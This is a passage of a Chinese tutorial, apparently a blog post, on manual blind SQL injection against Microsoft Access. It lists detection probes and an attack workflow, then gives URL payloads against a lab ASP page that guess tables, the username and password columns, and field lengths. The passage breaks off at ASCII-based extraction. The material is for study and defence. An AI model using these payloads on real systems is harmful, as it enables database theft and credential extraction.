说明:本文仅是用于学习分析自己搭建的SQL漏洞内容和原理,请勿用在非法途径上,违者后果自负,与笔者无关;本文开始前请认真详细学习《中华人民共和国网络安全法》及其相关法规内容【学法时习之丨网络安全在身边一图了解网络安全法_中央网络安全和信息化委员会办公室】 。
MySQL数据库的SQL注入漏洞解析https://blog.csdn.net/xiaochenXIHUA/article/details/141974766?spm=1001.2014.3001.5501
一、SQL注入常见流程
1.1、寻找SQL注入点
一般进行SQL注入前,都需要对这些数据库所对应的程序寻找注入点,常见的SQL注入点一般存在于参数输入、输出的位置(如:注册登录、不同页码、参数内容的数据查询、不同页面切换、留言版等内容)。
SQL注入漏洞的检测方法:【单引号】【or 1=1】【and 1=2】。
SQL注入的常见位置:http头、cookies、user agent,post提交数据位置;与数据库交互的相关界面(如:注册登录、数据查询展示界面等)。
1.2、SQL注入常见流程
【1、获取数据库】-->【2、获取数据库对应的表】-->【3、获取数据库表的字段】-->【4、获取字段内容】-->【5、获取账号密码登内容后进行对应的数据库操作(提权、控制、脱库等一切操作)】。
二、Microsoft Access数据库SQL注入
我们获取到程序的可能注入点,然后使用SQL注入内容进行注入测试(如添加';and 1=1#等内容进行测试看是否报错)。由于access数据库没有其他可以用于存储基础数据的明显库内容(如mysql5.0及其之上版本具有的infomation_schema库【mysql5.0之前的版本没有记录数据库基础数据的库,也只能靠暴力猜解】)所以我们对于access库只能够暴力猜解,一般使用工具进行,如下将介绍手工测试access数据库的SQL注入原理。
2.1、猜解表名称
# 猜解表名称语句(existes表示判断该表是否存在,如果返回错误信息则表示我们猜测的表名称不对,切换另一个表名称继续测试)
and exists(select * from 盲猜的表名称) #
# 示例
192.168.3.212/custom.asp?id=4 and exists(select * from users) #
192.168.3.212/custom.asp?id=4 and exists(select * from peopleinfo) #
2.2、猜解字段名称
# 猜解表的字段语句(返回正常则表示猜测的表字段名称存在,否则换另一个名称继续测试)
and exists(select 需猜测的表字段名称 from 确定有的表名称)#
# 示例:
192.168.3.212/custom.asp?id=4 and exists(select username from users)#
192.168.3.212/custom.asp?id=4 and exists(select password from users) --
2.3、猜解字段数据长度
猜解字段的数据长度主要是为了给下面使用ASCII码猜解字段内容使用
# 采集字段数据长度
and (select top 1 len(字段名称) from 表名称)>字段长度
# 示例
192.168.3.212/custom.asp?id=4 and (select top 1 len(username) from users)>2 //正常
192.168.3.212/custom.asp?id=4 and (select top 1 len(username) from users)>4 //正常
192.168.3.212/custom.asp?id=4 and (select top 1 len(username) from users)>5 //错误(表明该users表的username字段第一行的内容长度是5)
2.4、猜解字段数据内容(低效)
使用截取字符串函数截取单个字母的ASCII码内容猜解